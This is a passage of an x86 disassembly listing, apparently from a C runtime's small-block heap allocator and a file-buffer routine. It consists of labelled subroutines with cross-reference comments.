[ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41E82E test bl, 1 jnz loc_41E827 add ebx, ecx cmp esi, ebx jg loc_41E827 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E6F7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E6F7: ; CODE XREF: sub_41E680+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E747 cmp ecx, 20h jnb short loc_41E723 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E747 ; --------------------------------------------------------------------------- loc_41E723: ; CODE XREF: sub_41E680+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E747: ; CODE XREF: sub_41E680+7Dj ; sub_41E680+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41E815 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E781 push 3Fh pop edi loc_41E781: ; CODE XREF: sub_41E680+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41E803 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E7DA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E7CD: ; CODE XREF: sub_41E680+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41E7FF ; --------------------------------------------------------------------------- loc_41E7DA: ; CODE XREF: sub_41E680+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7F0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E7F0: ; CODE XREF: sub_41E680+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41E7FF: ; CODE XREF: sub_41E680+158j shr edx, cl or [eax], edx loc_41E803: ; CODE XREF: sub_41E680+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41E818 ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E680+E5j mov edx, [ebp+arg_4] loc_41E818: ; CODE XREF: sub_41E680+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41E96E ; --------------------------------------------------------------------------- loc_41E827: ; CODE XREF: sub_41E680+52j ; sub_41E680+5Cj xor eax, eax jmp loc_41E971 ; --------------------------------------------------------------------------- loc_41E82E: ; CODE XREF: sub_41E680+49j jge loc_41E96E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41E859 push 3Fh pop esi loc_41E859: ; CODE XREF: sub_41E680+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41E8E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E872 push 3Fh pop esi loc_41E872: ; CODE XREF: sub_41E680+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41E8C1 cmp esi, 20h jnb short loc_41E89D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E8BE ; --------------------------------------------------------------------------- loc_41E89D: ; CODE XREF: sub_41E680+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E8BE: ; CODE XREF: sub_41E680+214j ; sub_41E680+21Bj ... mov ebx, [ebp+arg_4] loc_41E8C1: ; CODE XREF: sub_41E680+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E8E8 push 3Fh pop esi loc_41E8E8: ; CODE XREF: sub_41E680+1DDj ; sub_41E680+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E965 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41E93C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E92F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41E92F: ; CODE XREF: sub_41E680+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41E961 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E680+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E952 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41E952: ; CODE XREF: sub_41E680+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41E961: ; CODE XREF: sub_41E680+2BAj shr edx, cl or [eax], edx loc_41E965: ; CODE XREF: sub_41E680+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41E96E: ; CODE XREF: sub_41E680+1A2j ; sub_41E680:loc_41E82Ej push 1 pop eax loc_41E971: ; CODE XREF: sub_41E680+1A9j pop edi pop esi pop ebx leave retn sub_41E680 endp ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp cmp dword_43A310, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A300 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DC944 nop call near ptr 27B0000h mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41EA8E mov eax, offset off_43A300 cmp esi, eax jnz short loc_41EA06 cmp off_43A300, 0 jnz short loc_41E9F6 mov off_43A300, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A304, 0 jnz short loc_41EA1B mov off_43A304, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A304 mov [esi+4], eax mov off_43A304, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx push 0 push edi call sub_41B590 add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi nop call near ptr 28C0632h loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A300 jz short loc_41EAB3 push esi push 0 push dword_4DC944 nop call near ptr 27A0000h loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 28C0632h cmp off_43C320, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C320, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A300 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DC944 nop call near ptr 27A0000h pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A310, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A304 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 28C0632h test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB324 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A304 jz short loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A300 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB324 cmp dword_4DB324, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C320 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C320 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C320, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A300 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 28C07A0h cmp eax, esi jnz loc_41EE6F push 0 push [ebp+var_8] push esi call sub_41B590 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C320, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C320, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; =============== S U B R O U T I N E ======================================= sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p ; sub_41BB4F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F117 test al, 40h jnz loc_41F117 test al, 2 jz short loc_41F069 or al, 20h mov [esi+0Ch], eax jmp loc_41F117 ; --------------------------------------------------------------------------- loc_41F069: ; CODE XREF: sub_41F043+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F07D push esi call sub_4239EF pop ecx jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41F043+2Fj mov eax, [esi+8] mov [esi], eax loc_41F082: ; CODE XREF: sub_41F043+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F106 cmp eax, 0FFFFFFFFh jz short loc_41F106 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F0DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F0C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DC600[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F0C9 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE XREF: sub_41F043+6Bj mov edi, offset dword_43C980 loc_41F0C9: ; CODE XREF: sub_41F043+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F0DB or dh, 20h mov [esi+0Ch], edx loc_41F0DB: ; CODE XREF: sub_41F043+62j ; sub_41F043+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F0F8 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F0F8 test ch, 4 jnz short loc_41F0F8 mov dword ptr [esi+18h], 1000h loc_41F0F8: ; CODE XREF: sub_41F043+9Fj ; sub_41F043+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; 